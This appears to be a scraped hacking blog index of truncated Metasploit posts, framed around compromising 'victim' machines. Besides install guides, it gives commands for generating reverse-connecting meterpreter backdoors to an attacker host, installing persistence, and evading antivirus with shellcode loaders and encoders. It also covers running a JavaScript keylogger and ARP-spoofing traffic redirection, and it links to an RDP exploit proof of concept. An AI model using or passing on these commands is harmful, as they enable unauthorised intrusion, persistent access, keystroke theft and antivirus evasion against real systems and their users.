Download free Metasploit framework 3.7.2

Metasploit framework 3.7.2 

Now you can download Metasploit Framework 3.7.2 free  including more then 698 exploit modules, 358 auxiliary modules, and 54 post modules, 11 new exploits, 1 new auxiliary module, and 15 new post modules.Latest version solves several issues with updating the framework, adds 11 exploit / auxiliary modules and brings a plethora of new features among us.

New Exploit Modules since 3.7.1

• MS11-050 IE mshtml!CObjectElement Use After Free
• AWStats Totals =< v1.14 multisort Remote Command Execution
• IBM Tivoli Endpoint Manager POST Query Buffer Overflow
• Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute
• Magix Musik Maker 16 .mmm Stack Buffer Overflow
• GoldenFTP PASS Stack Buffer Overflow
• VisiWave VWR File Parsing Vulnerability
• DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow
• 7-Technologies IGSS <= v9.00.00 b11063 IGSSdataServer.exe Stack Overflow
• 7-Technologies IGSS 9 IGSSdataServer .RMS Rename Buffer Overflow
• 7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities

                                                       DOWNLOAD METASPLOIT HERE

Create Auto reconnect Backdoor With Metasploit

This post will show how to install the autoconnect backdoor in victim machine.

1.  Create the auto reconnect backdoor with metasploit.
msf> use payload/windows/meterpreter/reverse_https
msf> set LHOST attacker_IP
msf> set LPORT binding_port
msf> set SessionCommunicationTimeout 0
msf> set SessionExpirationTimeout 0
msf> generate -t exe -f /var/www/backdoor.exe

2. Binding receiving backdoor

Metasploit 4 on iPhone 4S & iPad 2

# Install basic toolsapt-get update apt-get dist-upgrade apt-get install wget subversion# Download correct version of ruby and dependencies wget http://ininjas.com/repo/debs/ruby_1.9.2-p180-1-1_iphoneos-arm.debwget http://ininjas.com/repo/debs/iconv_1.14-1_iphoneos-arm.debwget http://ininjas.com/repo/debs/zlib_1.2.3-1_iphoneos-arm.deb# Install them dpkg -i iconv_1.14-1_iphoneos-arm.debdpkg

All posts that I got about Exploit RDP(MS12-020) in couple days ago.

1. Proof Of Concept Exploit in 15-03-2012

http://pastie.org/private/01qvw08ffwzulqgtt8fpbg
 


 2. Detail and Proofed Exploit DoS 

http://blog.binaryninjas.org/?p=58



3. Another Good Post :) And I think this is the best.
http://aluigi.org/adv/termdd_1-adv.txt

If you like my blog, Please Donate Me




One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

Keylogging with Metasploit & Javascript

If you want the detail, please go to the Source.

Step 1: Module setup:


msf > use auxiliary/server/capture/http_javascript_keylogger
msf  auxiliary(http_javascript_keylogger) > set demo true
demo => true
msf  auxiliary(http_javascript_keylogger) > show options


Module options (auxiliary/server/capture/http_javascript_keylogger):


   Name        Current Setting  Required  Description
   ----

Post Exploitation To Manage Firewall And Antivirus

Firewall
1. Show Firewall Operation Mode
> netsh firewall show opmode

C:\Documents and Settings\Administrator>netsh firewall show opmodeDomain profile configuration:-------------------------------------------------------------------Operational mode                  = EnableException mode                    = EnableStandard profile configuration (current):----------------------------------------

Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

If you want all the detail, please go to the Source.

1. Create malicious file(backdoor)
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=443 R > raw_binary
or
$ ./msfvenom --payload windows/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=443 -f raw > raw_binary

2. Copy metasm.rb (ruby library for disassemble file that normally ship with Metasploit ) to metasm folder of

Recommended Security Application For iOS

All the app that I recommended, you must jailbreak your device. 

Repository:
Default cydia repo
http://cydia.myrepospace.com/chattaboxa
http://cydia.myrepospace.com/boo
http://cydia.theworm.tw/


OpenSSH – Allows to connect to the iPhone remotely over SSH
Adv-cmds : Comes with a set of process commands like ps, kill, finger…
Sqlite3 : Sqlite database client
GNU Debugger: For run time analysis &

Installer Script For Metasploit on iOS5 by Khalil Ounis

#/bin/bash
# Author: Khalil Ounis
# Description: iDevice Metasploit Auto Installer Script Version 3
# Web Site: www.89geek.com

ROOT_UID=0
VARDIR=/private/var/
CURRDIR=`pwd`
E_NODIR=1
E_CANTRESOLVE=4
E_NOTROOT=67
E_CMDNOTFOUND=127

clear

[ "$UID" != "$ROOT_UID" ] && {
echo "This script must be run as root";
exit $E_NOTROOT;
}

echo "Metasploit Installer Script V3 - By Khalil Ounis"
echo "

Easy Wireless Honey-Pots using Win7 and Metasploit

I found myself inspired by Vivek Ramachandran’s videos,
I thought I would take the honor in creating the simple meterpreter
script that basically does what you see in the third installation of the
Swse Addendum videos.

When I watched the third video I thought to myself, “This shouldn’t
be too difficult to do”. From my perception, I think that Vivek was kind
of hinting that he might

Howto: Install Metasploit on your Ipad2(iOS5.0.1)

1. SSH to your ipad for easy typing

2. Install all packet that must use for Metasploit
- apt-get install adv-cmds apt basic-cmds bootstrap-cmds bzip2 class-dump coreutils developer-cmds diskdev-cmds file-cmds gawk gdb git gzip iokittools less more nano network-cmds ldid openssh rsync shell-cmds system-cmds com.ericasadun.utilities top uikittools findutils inetutils diffutils lsof subversion vim

Howto: Use shellcodeexec to bypass antivirus

The characteristics of shellcodeexec are as follows:


Can be compiled and works on POSIX (Linux/Unices) and Windows systems.
Can be compiled and works on 32-bit and 64-bit architectures.
As far as I know, no AV detect it as malicious.



Works in DEP/NX-enabled environments: it allocates the memory page
where it stores the shellcode as rwx – Readable Writable and
eXecutable.
It supports

CVE-2011-4107 PoC - phpMyAdmin Local File Inclusion via XXE injection

An interesting local file inclusion vulnerability has been
recently published. An XXE (XML eXternal Entity) injection attack, which
affects phpMyAdmin 3.4.x previous to 3.4.7.1 and 3.3.x previous to
3.3.10.5. - CVE-2011-4107


The issue is located in the
libraries\import\xml.php file, where the simplexml_load_string()
function is called without validating the existence of a

Undetectable Backdoor Utilities and Metasploit Module

Cryptcat Project:
This is an advanced utility based on netcat and one that uses an
encryption technique with the ports of Windows, BSD and Linux.
MOCAT backdoor:
This one is based on the cryptcat project and works on client and
server phenomena, meaning it has two executables: one for windows and
the other for Linux. All  communications of MOCAT are encrypted.
Ncat :
Ncat is a wonderful

Howto: Run the post module in all session of Metasploit.

1. Use any post method



2. use command irb

msf> use post/windows/gather/enum_tokens 

msf enum_tokens> irb



3. Type this statement
framework.sessions.each_key do |session|
run_single("set SESSION #{session}")
print_status("Running #{active_module.fullname} against session #{session}")
run_single("run")
sleep 1
end
 
4. So if you want to save step 3 into the file and use in

Howto: Run Persistence with Metasploit.

1. You can get into the victim machine with Metasploit.

2. Use the post module.

meterpreter> run persistence -U -i 5 -p attacker_port -r attacker_ip








3. If you want to change payload use -P option for that.
meterpreter> run persistence -P windows/meterpreter/reverse_https -U -p attacker_port -r attacker_ip



4.  If you want to create the backdoor service in the victim machine,

TCP Proxy for MITM Attacks in Metasploit

1. Arpspoofing Or whatever hacking technique that you can redirect traffic to attacker machine.



2. Use IPTABLE in attacker 

$ iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 80



3.Download the module from Source.



4. Use the module with metasploit.



5. Have a nice Hack :)




Source: f0rki.at/tcp-proxy-for-mitm-attacks-in-metasploit.html


 





If you like my

Ultimate Encoder - PHP Encoder with multiple compression by lionaneesh

Ultimate Encoder" - Another Online tool by lionaneesh,
an Indian developer and Hacker. Its a PHP Encoder with multiple
compression. A Piece of code can be encoded multiple times making it
impossible for any Anti Virus to detect it




Source: http://thehackernews.com/2011/12/ultimate-encoder-php-encoder-with.html




 
If you like my blog, Please Donate Me




One Dollar $1.00 Two Dollar

Web Analysis, Vulnerability Assessment and Exploitation using Backtrack5

This post is summary from Source. If you want to see all details please go to the Source.

CMS Identification

BlindElephant

 BlindElephant is a python based tool for fingerprinting the web
applications. This tool basically attempts to discover the version used
by comparing the static files at certain known locations against the
hashes which are pre-computed for the versions of those files

Installing Metasploit Framework + PostgreSQL DB Backend Under Ubuntu 12.04 LTS

This post is summary from Source. If you want all details, please go to the Source.

1. Install all ruby and packages that we required
- apt-get update && sudo apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libpq-dev libpq5 libreadline-ruby irb ri rubygems subversion build-essential ruby-dev libpcap-dev postgresql-8.4 nmap

2. Install pgSQL ruby gem.
- sudo gem